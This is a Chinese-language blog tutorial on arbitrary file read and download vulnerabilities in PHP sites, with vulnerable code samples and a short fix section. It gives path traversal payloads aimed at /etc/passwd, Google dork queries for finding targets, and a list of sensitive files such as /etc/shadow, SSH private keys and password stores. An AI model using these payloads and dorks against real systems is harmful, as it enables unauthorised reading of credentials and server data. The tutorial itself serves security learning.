任意文件查看與下載漏洞

漏洞介紹

一些網(wǎng)站由于業(yè)務(wù)需求,往往需要提供文件查看或文件下載功能,但若對(duì)用戶查看或下載的文件
不做限制,則惡意用戶就能夠查看或下載任意敏感文件,這就是文件查看與下載漏洞

利用條件

* 存在讀文件的函數(shù)
* 讀取文件的路徑用戶可控且未校驗(yàn)或校驗(yàn)不嚴(yán)
* 輸出了文件內(nèi)容

漏洞危害

下載服務(wù)器任意文件,如腳本代碼、服務(wù)及系統(tǒng)配置文件等
可用得到的代碼進(jìn)一步代碼審計(jì),得到更多可利用漏洞

任意文件讀取

代碼形式可如下幾種:

<?php
    $filename = "test.txt";
    readfile($filename);
?>

<?php
    $filename = "test.txt";

    $fp = fopen($filename,"r") or die("Unable to open file!");
    $data = fread($fp,filesize($filename));
    fclose($fp);

    echo $data;
?>

<?php
    $filename = "test.txt";
    echo file_get_contents($filename);
?>

任意文件下載

直接下載:

<a >Download</a>

用header()下載:

<?php
    $filename = "uploads/201607141437284653.jpg";

    header('Content-Type: imgage/jpeg');
    header('Content-Disposition: attachment; filename='.$filename);
    header('Content-Lengh: '.filesize($filename));
?>

漏洞利用代碼

readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00

Google search

inurl:"readfile.php?file="
inurl:"read.php?filename="
inurl:"download.php?file="
inurl:"down.php?file="
等等...

漏洞挖掘

可以用Google hacking或Web漏洞掃描器
從鏈接上看,形如:
    ? readfile.php?file=***.txt
    ? download.php?file=***.rar
從參數(shù)名看,形如:
    ? &RealPath= 
    ? &FilePath= 
    ? &?lepath= 
    ? &Path= 
    ? &path= 
    ? &inputFile= 
    ? &url= 
    ? &urls= 
    ? &Lang= 
    ? &dis= 
    ? &data= 
    ? &read?le= 
    ? &?lep= 
    ? &src= 
    ? &menu= 
    ? META-INF 
    ? WEB-INF

敏感文件如下

Windows:
   C:\boot.ini  //查看系統(tǒng)版本
   C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
   C:\Windows\repair\sam  //存儲(chǔ)系統(tǒng)初次安裝的密碼
   C:\Program Files\mysql\my.ini  //Mysql配置
   C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
   C:\Windows\php.ini  //php配置信息
   C:\Windows\my.ini  //Mysql配置信息
   ...
Linux:
   /root/.ssh/authorized_keys
   /root/.ssh/id_rsa
   /root/.ssh/id_ras.keystore
   /root/.ssh/known_hosts
   /etc/passwd
   /etc/shadow
   /etc/my.cnf
   /etc/httpd/conf/httpd.conf
   /root/.bash_history
   /root/.mysql_history
   /proc/self/fd/fd[0-9]*(文件標(biāo)識(shí)符)
   /proc/mounts
   /porc/config.gz

漏洞驗(yàn)證

? index.php?f=../../../../../../etc/passwd 
? index.php?f=../index.php 
? index.php?f=?le:///etc/passwd
注:當(dāng)參數(shù)f的參數(shù)值為php文件時(shí),若是文件被解析則是文件包含漏洞,
    若顯示源碼或提示下載則是文件查看與下載漏洞

修復(fù)方案

* 過(guò)濾.(點(diǎn)),使用戶在url中不能回溯上級(jí)目錄
* 正則嚴(yán)格判斷用戶輸入?yún)?shù)的格式
* php.ini配置open_basedir限定文件訪問(wèn)范圍
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢(shì)1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 179,324評(píng)論 25 708
  • Spring Cloud為開(kāi)發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見(jiàn)模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 136,695評(píng)論 19 139
  • 發(fā)現(xiàn) 關(guān)注 消息 iOS 第三方庫(kù)、插件、知名博客總結(jié) 作者大灰狼的小綿羊哥哥關(guān)注 2017.06.26 09:4...
    肇東周閱讀 15,660評(píng)論 4 61
  • 獨(dú)步天下。
    杏林骨怪閱讀 320評(píng)論 0 0
  • 10月24日---11月15日,終于結(jié)束了一次難受的糾結(jié)的甚至很尷尬的八次課。 最初聽(tīng)到這位學(xué)生在中國(guó)留學(xué)生活六七...
    Caitlin閱讀 390評(píng)論 1 1

友情鏈接更多精彩內(nèi)容